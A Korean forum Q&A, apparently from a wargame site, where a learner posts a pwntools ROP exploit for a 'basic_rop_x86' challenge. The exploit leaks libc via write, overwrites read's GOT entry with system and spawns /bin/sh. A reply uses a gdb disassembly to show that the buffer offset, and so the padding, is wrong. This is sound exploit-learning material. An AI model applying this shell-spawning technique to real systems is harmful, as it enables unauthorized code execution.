exploit 코드 질문합니다.

payload = "a"*0x40 # dummy
payload += "a" * 4 # sfp

payload += p32(read_plt)
payload += p32(pppr) # pop pop pop ret
payload += p32(0)
payload += p32(bss)
payload += p32(8)

payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += "aaaa"
payload += p32(bss)

p.sendline(payload)

p.send(binsh)

p.recv(0x40)

read_address = int(p.recv(4)[::-1].encode("hex"),16)
libc_base = read_address - read_offset
system_address = libc_base + system_offset

p.send(p32(system_address))

p.interactive()

파이썬으로 exploit코드를 다음과 같이 짰습니다.
read를 통해 bss영역에 /bin/sh를 저장시키고
write를 통해 read address를 leak했습니다.
제공된 libc.so.6을 통해 system함수와 read함수의 offset을 찾았습니다.
이를 통해 libc base를 얻을 수 있고 system함수의 offset을 더해서
address를 구해 read함수로 read_got에
system address를 overwrite했습니다
그 다음 read함수(system)을 호출해 exploit하는 건데
어느 코드부분이 잘 못 되었는데 쉘이 안따집니다ㅠㅠ

#pwnable
작성자 정보
답변 1
2dedce
워게임 고인물
$ gdb ./basic_rop_x86 -q
Reading symbols from ./basic_rop_x86...(no debugging symbols found)...done.
gdb-peda$ disas main
Dump of assembler code for function main:
   0x080485d9 <+0>:     push   ebp
   0x080485da <+1>:     mov    ebp,esp
   0x080485dc <+3>:     push   edi
   0x080485dd <+4>:     sub    esp,0x40
   0x080485e0 <+7>:     lea    edx,[ebp-0x44]
   0x080485e3 <+10>:    mov    eax,0x0
   0x080485e8 <+15>:    mov    ecx,0x10
   0x080485ed <+20>:    mov    edi,edx
   0x080485ef <+22>:    rep stos DWORD PTR es:[edi],eax
   0x080485f1 <+24>:    call   0x8048592 <initialize>
   0x080485f6 <+29>:    push   0x400
   0x080485fb <+34>:    lea    eax,[ebp-0x44]
   0x080485fe <+37>:    push   eax
   0x080485ff <+38>:    push   0x0
   0x08048601 <+40>:    call   0x80483f0 <read@plt>
   0x08048606 <+45>:    add    esp,0xc
   0x08048609 <+48>:    push   0x40
   0x0804860b <+50>:    lea    eax,[ebp-0x44]
   0x0804860e <+53>:    push   eax
   0x0804860f <+54>:    push   0x1
   0x08048611 <+56>:    call   0x8048450 <write@plt>
   0x08048616 <+61>:    add    esp,0xc
   0x08048619 <+64>:    mov    eax,0x0
   0x0804861e <+69>:    mov    edi,DWORD PTR [ebp-0x4]
   0x08048621 <+72>:    leave
   0x08048622 <+73>:    ret
End of assembler dump.

buf = [ebp - 0x44] 입니다. 보통 리턴 주소는 [ebp+0x4]로 알고 있습니다. (x64는 보통 [rbp+0x8]입니다.)

payload = "a"*0x40 # dummy
payload += "a" * 4 # sfp

패딩을 바꾸시면 되실겁니다.

2020.11.09. 21:06
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기